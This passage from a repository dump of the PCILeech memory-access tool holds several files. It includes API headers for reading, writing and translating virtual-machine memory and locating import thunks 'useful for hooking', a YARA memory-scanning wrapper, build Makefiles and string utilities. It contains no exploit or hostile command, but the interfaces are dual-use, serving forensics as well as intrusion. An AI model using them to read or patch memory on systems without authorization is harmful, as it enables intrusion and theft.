TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry.\n    ULONG64 vaThunk;        // address of import address table 'thunk'.\n    ULONG64 vaFunction;     // value if import address table 'thunk' == address of imported function.\n    ULONG64 vaNameModule;   // address of name string for imported module.\n    ULONG64 vaNameFunction; // address of name string for imported function.\n} VMMDLL_WIN_THUNKINFO_IAT, *PVMMDLL_WIN_THUNKINFO_IAT;\n\n/*\n* Retrieve information about the import address table IAT thunk for an imported\n* function. This includes the virtual address of the IAT thunk which is useful\n* for hooking.\n* -- hVMM\n* -- dwPID\n* -- [uw]szModuleName\n* -- szImportModuleName\n* -- szImportFunctionName\n* -- pThunkIAT\n* -- return\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_WinGetThunkInfoIATU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR  uszModuleName, _In_ LPCSTR szImportModuleName, _In_ LPCSTR szImportFunctionName, _Out_ PVMMDLL_WIN_THUNKINFO_IAT pThunkInfoIAT);\n_Success_(return) BOOL VMMDLL_WinGetThunkInfoIATW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _In_ LPCSTR szImportModuleName, _In_ LPCSTR szImportFunctionName, _Out_ PVMMDLL_WIN_THUNKINFO_IAT pThunkInfoIAT);\n\n\n\n//-----------------------------------------------------------------------------\n// VMM VM FUNCTIONALITY BELOW:\n//-----------------------------------------------------------------------------\n\n/*\n* Retrieve a VMM handle given a VM handle.\n* This is not allowed on physical memory only VMs.\n* This VMM handle should be closed by calling VMMDLL_Close().\n* -- hVMM\n* -- hVM\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nVMM_HANDLE VMMDLL_VmGetVmmHandle(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM);\n\n/*\n* Initialize a scatter handle which is used to efficiently read/write memory in\n* virtual machines (VMs).\n* CALLER CLOSE: VMMDLL_Scatter_CloseHandle(return)\n* -- hVMM\n* -- hVM = virtual machine handle; acquired from VMMDLL_Map_GetVM*)\n* -- flags = optional flags as given by VMMDLL_FLAG_*\n* -- return = handle to be used in VMMDLL_Scatter_* functions.\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nVMMDLL_SCATTER_HANDLE VMMDLL_VmScatterInitialize(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM);\n\n/*\n* Read virtual machine (VM) guest physical address (GPA) memory.\n* -- hVMM\n* -- hVM = virtual machine handle.\n* -- qwGPA\n* -- pb\n* -- cb\n* -- return = success/fail (depending if all requested bytes are read or not).\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_VmMemRead(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _In_ ULONG64 qwGPA, _Out_writes_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Write virtual machine (VM) guest physical address (GPA) memory.\n* -- hVMM\n* -- hVM = virtual machine handle.\n* -- qwGPA\n* -- pb\n* -- cb\n* -- return = TRUE on success, FALSE on partial or zero write.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_VmMemWrite(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _In_ ULONG64 qwGPA, _In_reads_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Scatter read virtual machine (VM) guest physical address (GPA) memory.\n* Non contiguous 4096-byte pages. Not cached.\n* -- hVmm\n* -- hVM = virtual machine handle.\n* -- ppMEMsGPA\n* -- cpMEMsGPA\n* -- flags = (reserved future use).\n* -- return = the number of successfully read items.\n*/\nEXPORTED_FUNCTION\nDWORD VMMDLL_VmMemReadScatter(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _Inout_ PPMEM_SCATTER ppMEMsGPA, _In_ DWORD cpMEMsGPA, _In_ DWORD flags);\n\n/*\n* Scatter write virtual machine (VM) guest physical address (GPA) memory.\n* Non contiguous 4096-byte pages. Not cached.\n* -- hVmm\n* -- hVM = virtual machine handle.\n* -- ppMEMsGPA\n* -- cpMEMsGPA\n* -- return = the number of hopefully successfully written items.\n*/\nEXPORTED_FUNCTION\nDWORD VMMDLL_VmMemWriteScatter(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _Inout_ PPMEM_SCATTER ppMEMsGPA, _In_ DWORD cpMEMsGPA);\n\n/*\n* Translate a virtual machine (VM) guest physical address (GPA) to:\n* (1) Physical Address (PA) _OR_ (2) Virtual Address (VA) in 'vmmem' process.\n* -- hVMM\n* -- HVM\n* -- qwGPA = guest physical address to translate.\n* -- pPA = translated physical address (if exists).\n* -- pVA = translated virtual address inside 'vmmem' process (if exists).\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_VmMemTranslateGPA(_In_ VMM_HANDLE H, _In_ VMMVM_HANDLE hVM, _In_ ULONG64 qwGPA, _Out_opt_ PULONG64 pPA, _Out_opt_ PULONG64 pVA);\n\n\n\n//-----------------------------------------------------------------------------\n// VMM UTIL FUNCTIONALITY BELOW:\n//-----------------------------------------------------------------------------\n\n/*\n* Fill a human readable hex ascii memory dump into the caller supplied sz buffer.\n* -- pb\n* -- cb\n* -- cbInitialOffset = offset, must be max 0x1000 and multiple of 0x10.\n* -- sz = buffer to fill, NULL to retrieve buffer size in pcsz parameter.\n* -- pcsz = IF sz==NULL :: size of buffer (including space for terminating NULL) on exit\n*           IF sz!=NULL :: size of buffer on entry, size of characters (excluding terminating NULL) on exit.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_UtilFillHexAscii(\n    _In_reads_opt_(cb) PBYTE pb,\n    _In_ DWORD cb,\n    _In_ DWORD cbInitialOffset,\n    _Out_writes_opt_(*pcsz) LPSTR sz,\n    _Inout_ PDWORD pcsz\n);\n\n/*\n* Retrieve license information - Licensed To.\n* -- CALLER FREE: VMMDLL_MemFree(return)\n* -- return = NULL on fail, otherwise a string that must be free'd by caller.\n*/\nEXPORTED_FUNCTION _Success_(return != NULL)\nLPSTR VMMDLL_LicensedTo();\n\n\n\n//-----------------------------------------------------------------------------\n// DEFAULT (WINDOWS ONLY) COMPATIBILITY FUNCTION DEFINITIONS BELOW:\n//-----------------------------------------------------------------------------\n\n#ifdef _WIN32\n#define VMMDLL_VfsList                  VMMDLL_VfsListW\n#define VMMDLL_VfsRead                  VMMDLL_VfsReadW\n#define VMMDLL_VfsWrite                 VMMDLL_VfsWriteW\n#define VMMDLL_ProcessGetDirectories    VMMDLL_ProcessGetDirectoriesW\n#define VMMDLL_ProcessGetSections       VMMDLL_ProcessGetSectionsW\n#define VMMDLL_ProcessGetProcAddress    VMMDLL_ProcessGetProcAddressW\n#define VMMDLL_ProcessGetModuleBase     VMMDLL_ProcessGetModuleBaseW\n#define VMMDLL_Map_GetPte               VMMDLL_Map_GetPteW\n#define VMMDLL_Map_GetVad               VMMDLL_Map_GetVadW\n#define VMMDLL_Map_GetModule            VMMDLL_Map_GetModuleW\n#define VMMDLL_Map_GetModuleFromName    VMMDLL_Map_GetModuleFromNameW\n#define VMMDLL_Map_GetUnloadedModule    VMMDLL_Map_GetUnloadedModuleW\n#define VMMDLL_Map_GetEAT               VMMDLL_Map_GetEATW\n#define VMMDLL_Map_GetIAT               VMMDLL_Map_GetIATW\n#define VMMDLL_Map_GetHandle            VMMDLL_Map_GetHandleW\n#define VMMDLL_Map_GetNet               VMMDLL_Map_GetNetW\n#define VMMDLL_Map_GetUsers             VMMDLL_Map_GetUsersW\n#define VMMDLL_Map_GetServices          VMMDLL_Map_GetServicesW\n#define VMMDLL_WinGetThunkInfoIAT       VMMDLL_WinGetThunkInfoIATW\n#endif /* _WIN32 */\n\n#ifdef __cplusplus\n}\n#endif /* __cplusplus */\n#endif /* __VMMDLL_H__ */\n"
  },
  {
    "path": "includes/vmmyara.h",
    "content": "// vmmyara.h : External headers of the YARA API wrapper for MemProcFS.\n//\n// (c) Ulf Frisk, 2023\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n//\n// VmmYara is a library that provides a YARA API wrapper for C/C++ projects\n// and is used by MemProcFS to provide YARA scanning of memory dumps.\n//\n// For more information please consult the VmmYara information on Github:\n// - README: https://github.com/ufrisk/vmmyara\n//\n// (c) Ulf Frisk, 2023\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// Header Version: 4.3.1.4\n//\n\n#ifndef __VMMYARA_H__\n#define __VMMYARA_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\n\n//-----------------------------------------------------------------------------\n// OS COMPATIBILITY BELOW:\n//-----------------------------------------------------------------------------\n\n#ifdef _WIN32\n#include <Windows.h>\n#ifndef EXPORTED_FUNCTION\n#define EXPORTED_FUNCTION\n#endif /* EXPORTED_FUNCTION */\n#endif /* _WIN32 */\n#ifdef LINUX\n#include <inttypes.h>\n#include <stdlib.h>\n#ifndef EXPORTED_FUNCTION\n#define EXPORTED_FUNCTION                   __attribute__((visibility(\"default\")))\n#endif /* EXPORTED_FUNCTION */\ntypedef uint32_t                            BOOL;\ntypedef void                                VOID, *PVOID, *HANDLE;\ntypedef size_t                              SIZE_T;\ntypedef uint32_t                            DWORD, *PDWORD;\ntypedef uint8_t                             BYTE, *PBYTE;\ntypedef char                                CHAR, *LPSTR;\n#define _In_\n#define _In_reads_(x)\n#define _In_reads_bytes_(x)\n#define _Out_\n#define _Success_(x)\n#endif /* LINUX */\n\ntypedef int                                 VMMYARA_ERROR;          // corresponds exactly to YR_ERROR\ntypedef struct HANDLE                       *PVMMYARA_RULES;\n\n// defines from yara error.h\n#define VMMYARA_ERROR_SUCCESS                        0\n#define VMMYARA_ERROR_INSUFFICIENT_MEMORY            1\n#define VMMYARA_ERROR_COULD_NOT_ATTACH_TO_PROCESS    2\n#define VMMYARA_ERROR_COULD_NOT_OPEN_FILE            3\n#define VMMYARA_ERROR_COULD_NOT_MAP_FILE             4\n#define VMMYARA_ERROR_INVALID_FILE                   6\n#define VMMYARA_ERROR_CORRUPT_FILE                   7\n#define VMMYARA_ERROR_UNSUPPORTED_FILE_VERSION       8\n#define VMMYARA_ERROR_INVALID_REGULAR_EXPRESSION     9\n#define VMMYARA_ERROR_INVALID_HEX_STRING             10\n#define VMMYARA_ERROR_SYNTAX_ERROR                   11\n#define VMMYARA_ERROR_LOOP_NESTING_LIMIT_EXCEEDED    12\n#define VMMYARA_ERROR_DUPLICATED_LOOP_IDENTIFIER     13\n#define VMMYARA_ERROR_DUPLICATED_IDENTIFIER          14\n#define VMMYARA_ERROR_DUPLICATED_TAG_IDENTIFIER      15\n#define VMMYARA_ERROR_DUPLICATED_META_IDENTIFIER     16\n#define VMMYARA_ERROR_DUPLICATED_STRING_IDENTIFIER   17\n#define VMMYARA_ERROR_UNREFERENCED_STRING            18\n#define VMMYARA_ERROR_UNDEFINED_STRING               19\n#define VMMYARA_ERROR_UNDEFINED_IDENTIFIER           20\n#define VMMYARA_ERROR_MISPLACED_ANONYMOUS_STRING     21\n#define VMMYARA_ERROR_INCLUDES_CIRCULAR_REFERENCE    22\n#define VMMYARA_ERROR_INCLUDE_DEPTH_EXCEEDED         23\n#define VMMYARA_ERROR_WRONG_TYPE                     24\n#define VMMYARA_ERROR_EXEC_STACK_OVERFLOW            25\n#define VMMYARA_ERROR_SCAN_TIMEOUT                   26\n#define VMMYARA_ERROR_TOO_MANY_SCAN_THREADS          27\n#define VMMYARA_ERROR_CALLBACK_ERROR                 28\n#define VMMYARA_ERROR_INVALID_ARGUMENT               29\n#define VMMYARA_ERROR_TOO_MANY_MATCHES               30\n#define VMMYARA_ERROR_INTERNAL_FATAL_ERROR           31\n#define VMMYARA_ERROR_NESTED_FOR_OF_LOOP             32\n#define VMMYARA_ERROR_INVALID_FIELD_NAME             33\n#define VMMYARA_ERROR_UNKNOWN_MODULE                 34\n#define VMMYARA_ERROR_NOT_A_STRUCTURE                35\n#define VMMYARA_ERROR_NOT_INDEXABLE                  36\n#define VMMYARA_ERROR_NOT_A_FUNCTION                 37\n#define VMMYARA_ERROR_INVALID_FORMAT                 38\n#define VMMYARA_ERROR_TOO_MANY_ARGUMENTS             39\n#define VMMYARA_ERROR_WRONG_ARGUMENTS                40\n#define VMMYARA_ERROR_WRONG_RETURN_TYPE              41\n#define VMMYARA_ERROR_DUPLICATED_STRUCTURE_MEMBER    42\n#define VMMYARA_ERROR_EMPTY_STRING                   43\n#define VMMYARA_ERROR_DIVISION_BY_ZERO               44\n#define VMMYARA_ERROR_REGULAR_EXPRESSION_TOO_LARGE   45\n#define VMMYARA_ERROR_TOO_MANY_RE_FIBERS             46\n#define VMMYARA_ERROR_COULD_NOT_READ_PROCESS_MEMORY  47\n#define VMMYARA_ERROR_INVALID_EXTERNAL_VARIABLE_TYPE 48\n#define VMMYARA_ERROR_REGULAR_EXPRESSION_TOO_COMPLEX 49\n#define VMMYARA_ERROR_INVALID_MODULE_NAME            50\n#define VMMYARA_ERROR_TOO_MANY_STRINGS               51\n#define VMMYARA_ERROR_INTEGER_OVERFLOW               52\n#define VMMYARA_ERROR_CALLBACK_REQUIRED              53\n#define VMMYARA_ERROR_INVALID_OPERAND                54\n#define VMMYARA_ERROR_COULD_NOT_READ_FILE            55\n#define VMMYARA_ERROR_DUPLICATED_EXTERNAL_VARIABLE   56\n#define VMMYARA_ERROR_INVALID_MODULE_DATA            57\n#define VMMYARA_ERROR_WRITING_FILE                   58\n#define VMMYARA_ERROR_INVALID_MODIFIER               59\n#define VMMYARA_ERROR_DUPLICATED_MODIFIER            60\n#define VMMYARA_ERROR_BLOCK_NOT_READY                61\n#define VMMYARA_ERROR_INVALID_PERCENTAGE             62\n#define VMMYARA_ERROR_IDENTIFIER_MATCHES_WILDCARD    63\n#define VMMYARA_ERROR_INVALID_VALUE                  64\n\n// defines from yara scan.h\n#define VMMYARA_SCAN_FLAGS_FAST_MODE                 1\n#define VMMYARA_SCAN_FLAGS_PROCESS_MEMORY            2\n#define VMMYARA_SCAN_FLAGS_NO_TRYCATCH               4\n#define VMMYARA_SCAN_FLAGS_REPORT_RULES_MATCHING     8\n#define VMMYARA_SCAN_FLAGS_REPORT_RULES_NOT_MATCHING 16\n\n\n\n/*\n* Load a compiled yara rule file.\n* -- szCompiledFileRules = the file path of the compiled yara rule file to load.\n* -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive\n*                    the handle to the loaded rule set on success.\n* -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error.\n*/\n_Success_(return == VMMYARA_ERROR_SUCCESS)\nVMMYARA_ERROR VmmYara_RulesLoadCompiled(\n    _In_ LPSTR szCompiledFileRules,\n    _Out_ PVMMYARA_RULES *phVmmYaraRules\n);\n\n/*\n* Load one or multiple yara rules from either memory or source files.\n* -- cszSourceCombinedRules = the number of source files/strings to load.\n* -- pszSourceCombinedRules = array of source file paths/strings to load.\n* -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive the\n*                    handle to the loaded rule set on success.\n* -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error.\n*/\nEXPORTED_FUNCTION\n_Success_(return == VMMYARA_ERROR_SUCCESS)\nVMMYARA_ERROR VmmYara_RulesLoadSourceCombined(\n    _In_ DWORD cszSourceCombinedRules,\n    _In_reads_(cszSourceCombinedRules) LPSTR pszSourceCombinedRules[],\n    _Out_ PVMMYARA_RULES *phVmmYaraRules\n);\n\n/*\n* Load one or multiple yara rules from source files.\n* -- cszSourceFileRules = the number of source files to load.\n* -- pszSourceFileRules = array of source file paths to load.\n* -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive\n*                    the handle to the loaded rule set on success.\n* -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error.\n*/\n_Success_(return == VMMYARA_ERROR_SUCCESS)\nVMMYARA_ERROR VmmYara_RulesLoadSourceFile(\n    _In_ DWORD cszSourceFileRules,\n    _In_reads_(cszSourceFileRules) LPSTR pszSourceFileRules[],\n    _Out_ PVMMYARA_RULES *phVmmYaraRules\n);\n\n/*\n* Load one or multiple yara rules from in-memory source strings.\n* -- cSourceStringRules = the number of source strings to load.\n* -- cszSourceStringRules = array of source strings to load.\n* -- phVmmYaraRules = pointer to a PVMMYARA_RULES variable that will receive\n*                    the handle to the loaded rule set on success.\n* -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error.\n*/\n_Success_(return == VMMYARA_ERROR_SUCCESS)\nVMMYARA_ERROR VmmYara_RulesLoadSourceString(\n    _In_ DWORD cszSourceStringRules,\n    _In_reads_(cszSourceStringRules) LPSTR pszSourceStringRules[],\n    _Out_ PVMMYARA_RULES *phVmmYaraRules\n);\n\n/*\n* Destroy a previously loaded rule set.\n* -- hVmmYaraRules = the handle to the rule set to destroy.\n* -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error.\n*/\n_Success_(return == VMMYARA_ERROR_SUCCESS)\nVMMYARA_ERROR VmmYara_RulesDestroy(_In_ PVMMYARA_RULES hVmmYaraRules);\n\n#define VMMYARA_RULE_MATCH_FLAG_MEMPROCFS   1\n#define VMMYARA_RULE_MATCH_FLAG_SUPPRESS    2\n\n\n// =========== START SHARED STRUCTS WITH <vmmdll.h/vmmyara.h> ===========\n#ifndef VMMYARA_RULE_MATCH_DEFINED\n#define VMMYARA_RULE_MATCH_DEFINED\n\n#define VMMYARA_RULE_MATCH_VERSION          0xfedc0003\n#define VMMYARA_RULE_MATCH_TAG_MAX          8\n#define VMMYARA_RULE_MATCH_META_MAX         16\n#define VMMYARA_RULE_MATCH_STRING_MAX       8\n#define VMMYARA_RULE_MATCH_OFFSET_MAX       16\n\n/*\n* Struct with match information upon a match in VmmYara_RulesScanMemory().\n*/\ntypedef struct tdVMMYARA_RULE_MATCH {\n    DWORD dwVersion;                    // VMMYARA_RULE_MATCH_VERSION\n    DWORD flags;\n    LPSTR szRuleIdentifier;\n    DWORD cTags;\n    LPSTR szTags[VMMYARA_RULE_MATCH_TAG_MAX];\n    DWORD cMeta;\n    struct {\n        LPSTR szIdentifier;\n        LPSTR szString;\n    } Meta[VMMYARA_RULE_MATCH_META_MAX];\n    DWORD cStrings;\n    struct {\n        LPSTR szString;\n        DWORD cMatch;\n        SIZE_T cbMatchOffset[VMMYARA_RULE_MATCH_OFFSET_MAX];\n    } Strings[VMMYARA_RULE_MATCH_STRING_MAX];\n} VMMYARA_RULE_MATCH, *PVMMYARA_RULE_MATCH;\n\n#endif /* VMMYARA_RULE_MATCH_DEFINED */\n\n#ifndef VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED\n#define VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED\n\n/*\n* Callback function to be called by VmmYara_RulesScanMemory() upon a match.\n* -- pvContext = user context set in call to VmmYara_ScanMemory().\n* -- pRuleMatch = pointer to match information.\n* -- pbBuffer = the memory buffer that was scanned.\n* -- cbBuffer = the size of the memory buffer that was scanned.\n* -- return = return TRUE to continue scanning, FALSE to stop scanning.\n*/\ntypedef BOOL(*VMMYARA_SCAN_MEMORY_CALLBACK)(\n    _In_ PVOID pvContext,\n    _In_ PVMMYARA_RULE_MATCH pRuleMatch,\n    _In_reads_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ SIZE_T cbBuffer\n);\n\n#endif /* VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED */\n// =========== END SHARED STRUCTS WITH <vmmdll.h/vmmyara.h> ===========\n\n/*\n* Scan a memory buffer for matches against the specified rule set.\n* Upon a match the callback function will be called with the match information.\n* -- hVmmYaraRules = the handle to the rule set to scan against.\n* -- pbBuffer = the memory buffer to scan.\n* -- cbBuffer = the size of the memory buffer to scan.\n* -- flags = flags according to yr_rules_scan_mem() to use.\n* -- pfnCallback = the callback function to call upon a match.\n* -- pvContext = context to pass to the callback function.\n* -- timeout = timeout in seconds according to yr_rules_scan_mem().\n* -- return = VMMYARA_ERROR_SUCCESS on success, otherwise a yara error.\n*/\n_Success_(return == VMMYARA_ERROR_SUCCESS)\nVMMYARA_ERROR VmmYara_ScanMemory(\n    _In_ PVMMYARA_RULES hVmmYaraRules,\n    _In_reads_bytes_(cbBuffer) PBYTE pbBuffer,\n    _In_ SIZE_T cbBuffer,\n    _In_ int flags,\n    _In_ VMMYARA_SCAN_MEMORY_CALLBACK pfnCallback,\n    _In_ PVOID pvContext,\n    _In_ int timeout\n);\n\n#ifdef __cplusplus\n}\n#endif /* __cplusplus */\n#endif /* __VMMYARA_H__ */\n"
  },
  {
    "path": "pcileech/Makefile",
    "content": "CC=gcc\nCFLAGS  +=-I. -I../includes -D LINUX -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -pthread\nCFLAGS  += -fPIE -fPIC -fstack-protector -D_FORTIFY_SOURCE=2 -O1\nCFLAGS  += -Wall -Wno-format-truncation -Wno-enum-compare -Wno-pointer-sign -Wno-multichar -Wno-unused-variable -Wno-unused-value\nCFLAGS  += -Wno-pointer-to-int-cast -Wno-int-to-pointer-cast\nifeq ($(shell basename $(CC)),gcc)\n    CFLAGS  += -pie\nendif\nLDFLAGS +=-Wl,-rpath,'$$ORIGIN' -ldl -L. -l:leechcore.so -l:vmm.so -Wl,-z,noexecstack\nDEPS = pcileech.h\nOBJ  = oscompatibility.o charutil.o device.o pcileech.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o umd.o util.o vfslist.o vfs.o vmmx.o ob/ob_cachemap.o ob/ob_core.o ob/ob_map.o ob/ob_set.o\n\n%.o: %.c $(DEPS)\n\t$(CC) -c -o $@ $< $(CFLAGS)\n\npcileech: $(OBJ)\n\tcp ../files/vmm.so . || cp ../../MemProcFS*/files/vmm.so . || true\n\tcp ../files/leechcore.so . || cp ../../LeechCore*/files/leechcore.so . || true\n\t$(CC) -o $@ $^ $(CFLAGS) $(LDFLAGS)\n\tmv pcileech ../files/ |true\n\tmv vmm.so ../files/ |true\n\tmv leechcore.so ../files/ |true\n\trm -f *.o || true\n\trm -f */*.o || true\n\trm -f *.so || true\n\ttrue\n\nclean:\n\trm -f *.o || true\n\trm -f */*.o || true\n\trm -f *.so || true\n"
  },
  {
    "path": "pcileech/Makefile.macos",
    "content": "CC=clang\nCFLAGS += -I. -I../includes -D MACOS -D _GNU_SOURCE -D _FILE_OFFSET_BITS=64 -pthread\nCFLAGS += -fPIE -fPIC -fstack-protector -D_FORTIFY_SOURCE=2 -O1\nCFLAGS += -Wall -Wno-enum-compare -Wno-pointer-sign -Wno-multichar -Wno-unused-variable -Wno-unused-value\nCFLAGS += -Wno-pointer-to-int-cast -Wno-int-to-pointer-cast\nCFLAGS += -mmacosx-version-min=11.0\n# DEBUG FLAGS BELOW\n#CFLAGS += -O0\n#CFLAGS += -fsanitize=address\n# DEBUG FLAGS ABOVE\nLDFLAGS += -ldl -L. ./leechcore.dylib ./vmm.dylib\nLDFLAGS += -Wl,-rpath,@loader_path\nLDFLAGS += -mmacosx-version-min=11.0\n\nDEPS = pcileech.h\nOBJ  = oscompatibility.o charutil.o device.o pcileech.o executor.o extra.o help.o kmd.o memdump.o mempatch.o statistics.o umd.o util.o vfslist.o vfs.o vmmx.o ob/ob_cachemap.o ob/ob_core.o ob/ob_map.o ob/ob_set.o\n\n# ARCH SPECIFIC FLAGS:\nCFLAGS_X86_64  = $(CFLAGS) -arch x86_64\nCFLAGS_ARM64   = $(CFLAGS) -arch arm64\nLDFLAGS_X86_64 = $(LDFLAGS) -arch x86_64\nLDFLAGS_ARM64  = $(LDFLAGS) -arch arm64\nOBJ_X86_64 = $(OBJ:.o=.o.x86_64)\nOBJ_ARM64  = $(OBJ:.o=.o.arm64)\n\nall: pcileech\n\n%.o.x86_64: %.c $(DEPS)\n\t$(CC) $(CFLAGS_X86_64) -c -o $@ $<\n\n%.o.arm64: %.c $(DEPS)\n\t$(CC) $(CFLAGS_ARM64) -c -o $@ $<\n\npcileech_x86_64: $(OBJ_X86_64)\n\tcp ../files/vmm.dylib . || cp ../../MemProcFS*/files/vmm.dylib . || true\n\tcp ../files/leechcore.dylib . || cp ../../LeechCore*/files/leechcore.dylib . || true\n\t$(CC) $(LDFLAGS_X86_64) -o $@ $^\n\npcileech_arm64: $(OBJ_ARM64)\n\tcp ../files/vmm.dylib . || cp ../../MemProcFS*/files/vmm.dylib . || true\n\tcp ../files/leechcore.dylib . || cp ../../LeechCore*/files/leechcore.dylib . || true\n\t$(CC) $(LDFLAGS_ARM64) -o $@ $^\n\npcileech: pcileech_x86_64 pcileech_arm64\n\tlipo -create -output pcileech pcileech_x86_64 pcileech_arm64\n\tinstall_name_tool -id @rpath/pcileech pcileech\n\tmv pcileech ../files/ |true\n\tmv vmm.dylib ../files/ |true\n\tmv leechcore.dylib ../files/ |true\n\trm -f *.o *.o.x86_64 *.o.arm64 || true\n\trm -f */*.o */*.o.x86_64 */*.o.arm64 || true\n\trm -f *.dylib || true\n\ttrue\n\nclean:\n\trm -f *.o *.o.x86_64 *.o.arm64 || true\n\trm -f */*.o */*.o.x86_64 */*.o.arm64 || true\n\trm -f *.dylib || true\n"
  },
  {
    "path": "pcileech/charutil.c",
    "content": "// charutil.c : implementation of various character/string utility functions.\n//\n// (c) Ulf Frisk, 2021-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"charutil.h\"\n\n#define CHARUTIL_CONVERT_MAXSIZE            0x40000000\n#define CHARUTIL_ANSIFILENAME_ALLOW \\\n    \"0000000000000000000000000000000011011111110111101111111111010100\" \\\n    \"1111111111111111111111111111011111111111111111111111111111110110\"\n\n/*\n* Check whether a string is an ansi-string (only codepoints between 0-127).\n* -- sz\n* -- return\n*/\nBOOL CharUtil_IsAnsiA(_In_ LPCSTR sz)\n{\n    UCHAR c;\n    DWORD i = 0;\n    while(TRUE) {\n        c = sz[i++];\n        if(c == 0) { return TRUE; }\n        if(c > 127) { return FALSE; }\n    }\n}\n\nBOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz)\n{\n    USHORT c;\n    DWORD i = 0;\n    while(TRUE) {\n        c = wsz[i++];\n        if(c == 0) { return TRUE; }\n        if(c > 127) { return FALSE; }\n    }\n}\n\nBOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz)\n{\n    UCHAR c;\n    DWORD i = 0;\n    while(TRUE) {\n        c = sz[i++];\n        if(c == 0) { return TRUE; }\n        if(c > 127) { return FALSE; }\n        if(CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') { return FALSE; }\n        if(i > MAX_PATH - 2) { return FALSE; }\n    }\n}\n\n/*\n* Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string.\n* Function support sz/wsz == pbBuffer - sz/wsz will then become overwritten.\n* CALLER LOCALFREE (if *pjsz != pbBuffer): *pjsz\n* -- usz/sz/wsz = the string to convert.\n* -- cch = -1 for null-terminated string; or max number of chars (excl. null).\n* -- pbBuffer = optional buffer to place the result in.\n* -- cbBuffer\n* -- pusz = if set to null: function calculate length only and return TRUE.\n            result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed\n*           buffer that caller is responsible for free.\n* -- pcbu = byte length (including terminating null) of utf-8 string.\n* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE\n* -- return\n*/\n_Success_(return)\nBOOL CharUtil_AtoU(_In_opt_ LPCSTR sz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags)\n{\n    UCHAR c;\n    LPSTR usz;\n    DWORD i, j, cba = 0, cbu = 0;\n    if(pcbu) { *pcbu = 0; }\n    if(pusz) { *pusz = NULL; }\n    if(!sz) { sz = \"\"; }\n    if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }\n    // 1: ansi byte-length and if ansi-only\n    if((flags & CHARUTIL_FLAG_TRUNCATE)) {\n        if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; }\n        while((cba < cch) && (c = sz[cba])) {\n            if(c > 0x7f) {\n                if(cba + cbu + 1 + 1 >= cbBuffer) { break; }\n                cbu++;\n            } else {\n                if(cba + cbu + 1 >= cbBuffer) { break; }\n            }\n            cba++;\n        }\n    } else {\n        while((cba < cch) && (c = sz[cba])) {\n            if(c > 0x7f) { cbu++; }\n            cba++;\n        }\n    }\n    cba++;\n    cbu += cba;\n    if(pcbu) { *pcbu = cbu; }\n    // 2: return on length-request or alloc-fail\n    if(!pusz) {\n        if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; }   // success: length request\n        if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }\n    }                                              \n    if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbu))) { goto fail; } // fail: insufficient buffer space\n    usz = (pbBuffer && (cbBuffer >= cbu)) ? pbBuffer : LocalAlloc(0, cbu);\n    if(!usz) { goto fail; }                                              // fail: failed buffer space allocation\n    // 3: populate with utf-8 string (backwards to support sz == pbBuffer case)\n    i = cba - 2; j = cbu - 2;\n    while(i < 0x7fffffff) {\n        c = sz[i--];\n        if(c > 0x7f) {\n            usz[j--] = 0x80 | (c & 0x3f);\n            usz[j--] = 0xc0 | ((c >> 6) & 0x1f);\n        } else {\n            usz[j--] = c;\n        }\n    }\n    usz[cbu - 1] = 0;\n    if(pusz) { *pusz = usz; }\n    return TRUE;\nfail:\n    if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) 